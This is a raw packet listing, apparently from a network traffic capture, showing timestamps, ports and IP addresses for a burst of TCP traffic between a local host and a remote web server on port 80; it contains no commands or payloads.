Jul 2, 2024 22:52:27.357984066 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.357990980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358001947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358042002 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.358098030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358108997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358144045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.358247995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358263969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358273983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358285904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358298063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358299971 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.358328104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.358470917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358481884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358494043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358501911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358513117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358520031 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.358524084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358530045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.358556986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.358807087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358818054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358850002 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.358953953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358964920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358973980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358984947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358994961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.358999968 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.359004974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359019041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359029055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359033108 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.359039068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359047890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359050989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.359056950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359067917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.359086990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.359123945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.359366894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359378099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359385967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359406948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359416962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359424114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.359426975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359436989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359446049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359448910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.359456062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359464884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359466076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.359473944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359483957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359493971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359498978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.359504938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359527111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.359546900 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.359903097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359971046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.359982014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.360008955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.360095024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.360105038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.360116005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.360125065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.360136986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.360255003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.360738993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.360765934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.360774040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.360785961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.360816002 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.360863924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.360874891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.360887051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.360897064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.360918045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.360932112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.361394882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.361406088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.361414909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.361439943 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.361548901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.361560106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.361568928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.361584902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.361597061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.361625910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.361625910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.361674070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.363327980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.363337994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.363394022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.363394976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.363403082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.363440990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.363542080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.363554001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.363564014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.363586903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.363595963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.363605022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.363635063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.363862991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.363912106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.363914013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.363922119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.363961935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.363990068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.364001036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.364048958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.364077091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.364087105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.364095926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.364123106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.364520073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.364530087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.364541054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.364562988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.364578009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.364829063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.364840031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.364849091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.364859104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.364869118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.364876032 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.364900112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.382956028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.383011103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.383023024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.383110046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.383121967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.383133888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.383146048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.383147955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.383147955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.383161068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.383183956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.445231915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445244074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445254087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445312023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445321083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445331097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445336103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445441008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445483923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.445483923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.445502996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445513964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445522070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445530891 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.445532084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445563078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.445651054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445768118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445779085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445786953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445796013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445806026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445813894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.445843935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.445983887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.445993900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.446002960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.446012974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.446022987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.446052074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.446052074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.447046995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447057962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447067022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447096109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.447122097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.447175026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447185040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447194099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447207928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447218895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.447276115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.447340012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447351933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447381973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.447479010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447489023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447498083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447524071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.447657108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447666883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447676897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447686911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447694063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.447696924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447706938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447716951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447721958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.447742939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.447767019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.447938919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447948933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447953939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447959900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447978020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447987080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.447997093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448003054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.448044062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.448364019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448374033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448384047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448391914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448400974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448410034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448410034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.448417902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448431969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448441982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448441982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.448451042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448477030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.448785067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448795080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448803902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448812962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448822975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448832035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448836088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.448841095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448853970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.448868036 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.448887110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.449227095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.449237108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.449245930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.449255943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.449264050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.449265957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.449273109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.449284077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.449301004 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.449315071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.450221062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.450231075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.450239897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.450289011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.450364113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.450373888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.450382948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.450392962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.450402975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.450407982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.450424910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.450444937 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.450659037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.450685024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.450695038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.450709105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.450719118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.450721025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.450757027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.450774908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.450818062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.452896118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.452949047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.452958107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.452992916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.453052998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453063011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453072071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453080893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453094006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.453129053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.453284979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453294992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453308105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453318119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453324080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.453326941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453336954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453346014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453356981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.453388929 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.453453064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453501940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453512907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453540087 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.453578949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453588009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453618050 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.453788996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453799009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.453829050 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.471782923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.471792936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.471801996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.471910000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.472034931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.472044945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.472054005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.472064972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.472075939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.472084045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.472182989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.472182989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.472182989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.534197092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534213066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534224033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534241915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534301996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.534327030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534336090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534346104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534356117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534365892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534466982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.534466982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.534466982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.534545898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534555912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534565926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534575939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534584045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.534594059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534603119 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.534630060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.534805059 CEST	80	49712	77.221.149.185	192.168.2.5
